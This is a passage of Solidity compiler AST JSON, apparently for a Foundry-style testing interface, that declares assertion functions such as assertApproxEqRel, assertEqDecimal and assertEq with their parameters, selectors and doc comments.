:"ElementaryTypeName","src":"41189:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":13608,"mutability":"mutable","name":"decimals","nameLocation":"41230:8:13","nodeType":"VariableDeclaration","scope":13613,"src":"41222:16:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":13607,"name":"uint256","nodeType":"ElementaryTypeName","src":"41222:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":13610,"mutability":"mutable","name":"error","nameLocation":"41264:5:13","nodeType":"VariableDeclaration","scope":13613,"src":"41248:21:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":13609,"name":"string","nodeType":"ElementaryTypeName","src":"41248:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"41136:139:13"},"returnParameters":{"id":13612,"nodeType":"ParameterList","parameters":[],"src":"41289:0:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":13623,"nodeType":"FunctionDefinition","src":"41504:95:13","nodes":[],"documentation":{"id":13614,"nodeType":"StructuredDocumentation","src":"41296:203:13","text":"Compares two `uint256` values. Expects relative difference in percents to be less than or equal to `maxPercentDelta`.\n `maxPercentDelta` is an 18 decimal fixed point number, where 1e18 == 100%"},"functionSelector":"8cf25ef4","implemented":false,"kind":"function","modifiers":[],"name":"assertApproxEqRel","nameLocation":"41513:17:13","parameters":{"id":13621,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13616,"mutability":"mutable","name":"left","nameLocation":"41539:4:13","nodeType":"VariableDeclaration","scope":13623,"src":"41531:12:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":13615,"name":"uint256","nodeType":"ElementaryTypeName","src":"41531:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":13618,"mutability":"mutable","name":"right","nameLocation":"41553:5:13","nodeType":"VariableDeclaration","scope":13623,"src":"41545:13:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":13617,"name":"uint256","nodeType":"ElementaryTypeName","src":"41545:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":13620,"mutability":"mutable","name":"maxPercentDelta","nameLocation":"41568:15:13","nodeType":"VariableDeclaration","scope":13623,"src":"41560:23:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":13619,"name":"uint256","nodeType":"ElementaryTypeName","src":"41560:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"41530:54:13"},"returnParameters":{"id":13622,"nodeType":"ParameterList","parameters":[],"src":"41598:0:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":13635,"nodeType":"FunctionDefinition","src":"41875:134:13","nodes":[],"documentation":{"id":13624,"nodeType":"StructuredDocumentation","src":"41605:265:13","text":"Compares two `uint256` values. Expects relative difference in percents to be less than or equal to `maxPercentDelta`.\n `maxPercentDelta` is an 18 decimal fixed point number, where 1e18 == 100%\n Includes error message into revert string on failure."},"functionSelector":"1ecb7d33","implemented":false,"kind":"function","modifiers":[],"name":"assertApproxEqRel","nameLocation":"41884:17:13","parameters":{"id":13633,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13626,"mutability":"mutable","name":"left","nameLocation":"41910:4:13","nodeType":"VariableDeclaration","scope":13635,"src":"41902:12:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":13625,"name":"uint256","nodeType":"ElementaryTypeName","src":"41902:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":13628,"mutability":"mutable","name":"right","nameLocation":"41924:5:13","nodeType":"VariableDeclaration","scope":13635,"src":"41916:13:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":13627,"name":"uint256","nodeType":"ElementaryTypeName","src":"41916:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":13630,"mutability":"mutable","name":"maxPercentDelta","nameLocation":"41939:15:13","nodeType":"VariableDeclaration","scope":13635,"src":"41931:23:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":13629,"name":"uint256","nodeType":"ElementaryTypeName","src":"41931:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":13632,"mutability":"mutable","name":"error","nameLocation":"41972:5:13","nodeType":"VariableDeclaration","scope":13635,"src":"41956:21:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":13631,"name":"string","nodeType":"ElementaryTypeName","src":"41956:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"41901:77:13"},"returnParameters":{"id":13634,"nodeType":"ParameterList","parameters":[],"src":"42008:0:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":13645,"nodeType":"FunctionDefinition","src":"42222:93:13","nodes":[],"documentation":{"id":13636,"nodeType":"StructuredDocumentation","src":"42015:202:13","text":"Compares two `int256` values. Expects relative difference in percents to be less than or equal to `maxPercentDelta`.\n `maxPercentDelta` is an 18 decimal fixed point number, where 1e18 == 100%"},"functionSelector":"fea2d14f","implemented":false,"kind":"function","modifiers":[],"name":"assertApproxEqRel","nameLocation":"42231:17:13","parameters":{"id":13643,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13638,"mutability":"mutable","name":"left","nameLocation":"42256:4:13","nodeType":"VariableDeclaration","scope":13645,"src":"42249:11:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":13637,"name":"int256","nodeType":"ElementaryTypeName","src":"42249:6:13","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"},{"constant":false,"id":13640,"mutability":"mutable","name":"right","nameLocation":"42269:5:13","nodeType":"VariableDeclaration","scope":13645,"src":"42262:12:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":13639,"name":"int256","nodeType":"ElementaryTypeName","src":"42262:6:13","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"},{"constant":false,"id":13642,"mutability":"mutable","name":"maxPercentDelta","nameLocation":"42284:15:13","nodeType":"VariableDeclaration","scope":13645,"src":"42276:23:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":13641,"name":"uint256","nodeType":"ElementaryTypeName","src":"42276:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"42248:52:13"},"returnParameters":{"id":13644,"nodeType":"ParameterList","parameters":[],"src":"42314:0:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":13657,"nodeType":"FunctionDefinition","src":"42590:132:13","nodes":[],"documentation":{"id":13646,"nodeType":"StructuredDocumentation","src":"42321:264:13","text":"Compares two `int256` values. Expects relative difference in percents to be less than or equal to `maxPercentDelta`.\n `maxPercentDelta` is an 18 decimal fixed point number, where 1e18 == 100%\n Includes error message into revert string on failure."},"functionSelector":"ef277d72","implemented":false,"kind":"function","modifiers":[],"name":"assertApproxEqRel","nameLocation":"42599:17:13","parameters":{"id":13655,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13648,"mutability":"mutable","name":"left","nameLocation":"42624:4:13","nodeType":"VariableDeclaration","scope":13657,"src":"42617:11:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":13647,"name":"int256","nodeType":"ElementaryTypeName","src":"42617:6:13","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"},{"constant":false,"id":13650,"mutability":"mutable","name":"right","nameLocation":"42637:5:13","nodeType":"VariableDeclaration","scope":13657,"src":"42630:12:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":13649,"name":"int256","nodeType":"ElementaryTypeName","src":"42630:6:13","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"},{"constant":false,"id":13652,"mutability":"mutable","name":"maxPercentDelta","nameLocation":"42652:15:13","nodeType":"VariableDeclaration","scope":13657,"src":"42644:23:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":13651,"name":"uint256","nodeType":"ElementaryTypeName","src":"42644:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":13654,"mutability":"mutable","name":"error","nameLocation":"42685:5:13","nodeType":"VariableDeclaration","scope":13657,"src":"42669:21:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":13653,"name":"string","nodeType":"ElementaryTypeName","src":"42669:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"42616:75:13"},"returnParameters":{"id":13656,"nodeType":"ParameterList","parameters":[],"src":"42721:0:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":13667,"nodeType":"FunctionDefinition","src":"42831:86:13","nodes":[],"documentation":{"id":13658,"nodeType":"StructuredDocumentation","src":"42728:98:13","text":"Asserts that two `uint256` values are equal, formatting them with decimals in failure message."},"functionSelector":"27af7d9c","implemented":false,"kind":"function","modifiers":[],"name":"assertEqDecimal","nameLocation":"42840:15:13","parameters":{"id":13665,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13660,"mutability":"mutable","name":"left","nameLocation":"42864:4:13","nodeType":"VariableDeclaration","scope":13667,"src":"42856:12:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":13659,"name":"uint256","nodeType":"ElementaryTypeName","src":"42856:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":13662,"mutability":"mutable","name":"right","nameLocation":"42878:5:13","nodeType":"VariableDeclaration","scope":13667,"src":"42870:13:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":13661,"name":"uint256","nodeType":"ElementaryTypeName","src":"42870:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":13664,"mutability":"mutable","name":"decimals","nameLocation":"42893:8:13","nodeType":"VariableDeclaration","scope":13667,"src":"42885:16:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":13663,"name":"uint256","nodeType":"ElementaryTypeName","src":"42885:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"42855:47:13"},"returnParameters":{"id":13666,"nodeType":"ParameterList","parameters":[],"src":"42916:0:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":13679,"nodeType":"FunctionDefinition","src":"43088:109:13","nodes":[],"documentation":{"id":13668,"nodeType":"StructuredDocumentation","src":"42923:160:13","text":"Asserts that two `uint256` values are equal, formatting them with decimals in failure message.\n Includes error message into revert string on failure."},"functionSelector":"d0cbbdef","implemented":false,"kind":"function","modifiers":[],"name":"assertEqDecimal","nameLocation":"43097:15:13","parameters":{"id":13677,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13670,"mutability":"mutable","name":"left","nameLocation":"43121:4:13","nodeType":"VariableDeclaration","scope":13679,"src":"43113:12:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":13669,"name":"uint256","nodeType":"ElementaryTypeName","src":"43113:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":13672,"mutability":"mutable","name":"right","nameLocation":"43135:5:13","nodeType":"VariableDeclaration","scope":13679,"src":"43127:13:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":13671,"name":"uint256","nodeType":"ElementaryTypeName","src":"43127:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":13674,"mutability":"mutable","name":"decimals","nameLocation":"43150:8:13","nodeType":"VariableDeclaration","scope":13679,"src":"43142:16:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":13673,"name":"uint256","nodeType":"ElementaryTypeName","src":"43142:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":13676,"mutability":"mutable","name":"error","nameLocation":"43176:5:13","nodeType":"VariableDeclaration","scope":13679,"src":"43160:21:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":13675,"name":"string","nodeType":"ElementaryTypeName","src":"43160:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"43112:70:13"},"returnParameters":{"id":13678,"nodeType":"ParameterList","parameters":[],"src":"43196:0:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":13689,"nodeType":"FunctionDefinition","src":"43305:84:13","nodes":[],"documentation":{"id":13680,"nodeType":"StructuredDocumentation","src":"43203:97:13","text":"Asserts that two `int256` values are equal, formatting them with decimals in failure message."},"functionSelector":"48016c04","implemented":false,"kind":"function","modifiers":[],"name":"assertEqDecimal","nameLocation":"43314:15:13","parameters":{"id":13687,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13682,"mutability":"mutable","name":"left","nameLocation":"43337:4:13","nodeType":"VariableDeclaration","scope":13689,"src":"43330:11:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":13681,"name":"int256","nodeType":"ElementaryTypeName","src":"43330:6:13","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"},{"constant":false,"id":13684,"mutability":"mutable","name":"right","nameLocation":"43350:5:13","nodeType":"VariableDeclaration","scope":13689,"src":"43343:12:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":13683,"name":"int256","nodeType":"ElementaryTypeName","src":"43343:6:13","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"},{"constant":false,"id":13686,"mutability":"mutable","name":"decimals","nameLocation":"43365:8:13","nodeType":"VariableDeclaration","scope":13689,"src":"43357:16:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":13685,"name":"uint256","nodeType":"ElementaryTypeName","src":"43357:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"43329:45:13"},"returnParameters":{"id":13688,"nodeType":"ParameterList","parameters":[],"src":"43388:0:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":13701,"nodeType":"FunctionDefinition","src":"43559:107:13","nodes":[],"documentation":{"id":13690,"nodeType":"StructuredDocumentation","src":"43395:159:13","text":"Asserts that two `int256` values are equal, formatting them with decimals in failure message.\n Includes error message into revert string on failure."},"functionSelector":"7e77b0c5","implemented":false,"kind":"function","modifiers":[],"name":"assertEqDecimal","nameLocation":"43568:15:13","parameters":{"id":13699,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13692,"mutability":"mutable","name":"left","nameLocation":"43591:4:13","nodeType":"VariableDeclaration","scope":13701,"src":"43584:11:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":13691,"name":"int256","nodeType":"ElementaryTypeName","src":"43584:6:13","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"},{"constant":false,"id":13694,"mutability":"mutable","name":"right","nameLocation":"43604:5:13","nodeType":"VariableDeclaration","scope":13701,"src":"43597:12:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":13693,"name":"int256","nodeType":"ElementaryTypeName","src":"43597:6:13","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"},{"constant":false,"id":13696,"mutability":"mutable","name":"decimals","nameLocation":"43619:8:13","nodeType":"VariableDeclaration","scope":13701,"src":"43611:16:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":13695,"name":"uint256","nodeType":"ElementaryTypeName","src":"43611:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":13698,"mutability":"mutable","name":"error","nameLocation":"43645:5:13","nodeType":"VariableDeclaration","scope":13701,"src":"43629:21:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":13697,"name":"string","nodeType":"ElementaryTypeName","src":"43629:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"43583:68:13"},"returnParameters":{"id":13700,"nodeType":"ParameterList","parameters":[],"src":"43665:0:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":13709,"nodeType":"FunctionDefinition","src":"43722:55:13","nodes":[],"documentation":{"id":13702,"nodeType":"StructuredDocumentation","src":"43672:45:13","text":"Asserts that two `bool` values are equal."},"functionSelector":"f7fe3477","implemented":false,"kind":"function","modifiers":[],"name":"assertEq","nameLocation":"43731:8:13","parameters":{"id":13707,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13704,"mutability":"mutable","name":"left","nameLocation":"43745:4:13","nodeType":"VariableDeclaration","scope":13709,"src":"43740:9:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":13703,"name":"bool","nodeType":"ElementaryTypeName","src":"43740:4:13","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":13706,"mutability":"mutable","name":"right","nameLocation":"43756:5:13","nodeType":"VariableDeclaration","scope":13709,"src":"43751:10:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":13705,"name":"bool","nodeType":"ElementaryTypeName","src":"43751:4:13","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"43739:23:13"},"returnParameters":{"id":13708,"nodeType":"ParameterList","parameters":[],"src":"43776:0:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":13719,"nodeType":"FunctionDefinition","src":"43890:78:13","nodes":[],"documentation":{"id":13710,"nodeType":"StructuredDocumentation","src":"43783:102:13","text":"Asserts that two `bool` values are equal and includes error message into revert string on failure."},"functionSelector":"4db19e7e","implemented":false,"kind":"function","modifiers":[],"name":"assertEq","nameLocation":"43899:8:13","parameters":{"id":13717,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13712,"mutability":"mutable","name":"left","nameLocation":"43913:4:13","nodeType":"VariableDeclaration","scope":13719,"src":"43908:9:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":13711,"name":"bool","nodeType":"ElementaryTypeName","src":"43908:4:13","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":13714,"mutability":"mutable","name":"right","nameLocation":"43924:5:13","nodeType":"VariableDeclaration","scope":13719,"src":"43919:10:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":13713,"name":"bool","nodeType":"ElementaryTypeName","src":"43919:4:13","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":13716,"mutability":"mutable","name":"error","nameLocation":"43947:5:13","nodeType":"VariableDeclaration","scope":13719,"src":"43931:21:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":13715,"name":"string","nodeType":"ElementaryTypeName","src":"43931:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"43907:46:13"},"returnParameters":{"id":13718,"nodeType":"ParameterList","parameters":[],"src":"43967:0:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":13727,"nodeType":"FunctionDefinition","src":"44026:77:13","nodes":[],"documentation":{"id":13720,"nodeType":"StructuredDocumentation","src":"43974:47:13","text":"Asserts that two `string` values are equal."},"functionSelector":"f320d963","implemented":false,"kind":"function","modifiers":[],"name":"assertEq","nameLocation":"44035:8:13","parameters":{"id":13725,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13722,"mutability":"mutable","name":"left","nameLocation":"44060:4:13","nodeType":"VariableDeclaration","scope":13727,"src":"44044:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":13721,"name":"string","nodeType":"ElementaryTypeName","src":"44044:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":13724,"mutability":"mutable","name":"right","nameLocation":"44082:5:13","nodeType":"VariableDeclaration","scope":13727,"src":"44066:21:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":13723,"name":"string","nodeType":"ElementaryTypeName","src":"44066:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"44043:45:13"},"returnParameters":{"id":13726,"nodeType":"ParameterList","parameters":[],"src":"44102:0:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":13737,"nodeType":"FunctionDefinition","src":"44218:100:13","nodes":[],"documentation":{"id":13728,"nodeType":"StructuredDocumentation","src":"44109:104:13","text":"Asserts that two `string` values are equal and includes error message into revert string on failure."},"functionSelector":"36f656d8","implemented":false,"kind":"function","modifiers":[],"name":"assertEq","nameLocation":"44227:8:13","parameters":{"id":13735,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13730,"mutability":"mutable","name":"left","nameLocation":"44252:4:13","nodeType":"VariableDeclaration","scope":13737,"src":"44236:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":13729,"name":"string","nodeType":"ElementaryTypeName","src":"44236:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":13732,"mutability":"mutable","name":"right","nameLocation":"44274:5:13","nodeType":"VariableDeclaration","scope":13737,"src":"44258:21:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":13731,"name":"string","nodeType":"ElementaryTypeName","src":"44258:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":13734,"mutability":"mutable","name":"error","nameLocation":"44297:5:13","nodeType":"VariableDeclaration","scope":13737,"src":"44281:21:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":13733,"name":"string","nodeType":"ElementaryTypeName","src":"44281:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"44235:68:13"},"returnParameters":{"id":13736,"nodeType":"ParameterList","parameters":[],"src":"44317:0:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":13745,"nodeType":"FunctionDefinition","src":"44375:75:13","nodes":[],"documentation":{"id":13738,"nodeType":"StructuredDocumentation","src":"44324:46:13","text":"Asserts that two `bytes` values are equal."},"functionSelector":"97624631","implemented":false,"kind":"function","modifiers":[],"name":"assertEq","nameLocation":"44384:8:13","parameters":{"id":13743,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13740,"mutability":"mutable","name":"left","nameLocation":"44408:4:13","nodeType":"VariableDeclaration","scope":13745,"src":"44393:19:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_bytes_calldata_ptr","typeString":"bytes"},"typeName":{"id":13739,"name":"bytes","nodeType":"ElementaryTypeName","src":"44393:5:13","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"},{"constant":false,"id":13742,"mutability":"mutable","name":"right","nameLocation":"44429:5:13","nodeType":"VariableDeclaration","scope":13745,"src":"44414:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_bytes_calldata_ptr","typeString":"bytes"},"typeName":{"id":13741,"name":"bytes","nodeType":"ElementaryTypeName","src":"44414:5:13","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"44392:43:13"},"returnParameters":{"id":13744,"nodeType":"ParameterList","parameters":[],"src":"44449:0:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":13755,"nodeType":"FunctionDefinition","src":"44564:98:13","nodes":[],"documentation":{"id":13746,"nodeType":"StructuredDocumentation","src":"44456:103:13","text":"Asserts that two `bytes` values are equal and includes error message into revert string on failure."},"functionSelector":"e24fed00","implemented":false,"kind":"function","modifiers":[],"name":"assertEq","nameLocation":"44573:8:13","parameters":{"id":13753,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13748,"mutability":"mutable","name":"left","nameLocation":"44597:4:13","nodeType":"VariableDeclaration","scope":13755,"src":"44582:19:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_bytes_calldata_ptr","typeString":"bytes"},"typeName":{"id":13747,"name":"bytes","nodeType":"ElementaryTypeName","src":"44582:5:13","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"},{"constant":false,"id":13750,"mutability":"mutable","name":"right","nameLocation":"44618:5:13","nodeType":"VariableDeclaration","scope":13755,"src":"44603:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_bytes_calldata_ptr","typeString":"bytes"},"typeName":{"id":13749,"name":"bytes","nodeType":"ElementaryTypeName","src":"44603:5:13","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"},{"constant":false,"id":13752,"mutability":"mutable","name":"error","nameLocation":"44641:5:13","nodeType":"VariableDeclaration","scope":13755,"src":"44625:21:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":13751,"name":"string","nodeType":"ElementaryTypeName","src":"44625:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"44581:66:13"},"returnParameters":{"id":13754,"nodeType":"ParameterList","parameters":[],"src":"44661:0:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":13765,"nodeType":"FunctionDefinition","src":"44728:77:13","nodes":[],"documentation":{"id":13756,"nodeType":"StructuredDocumentation","src":"44668:55:13","text":"Asserts that two arrays of `bool` values are 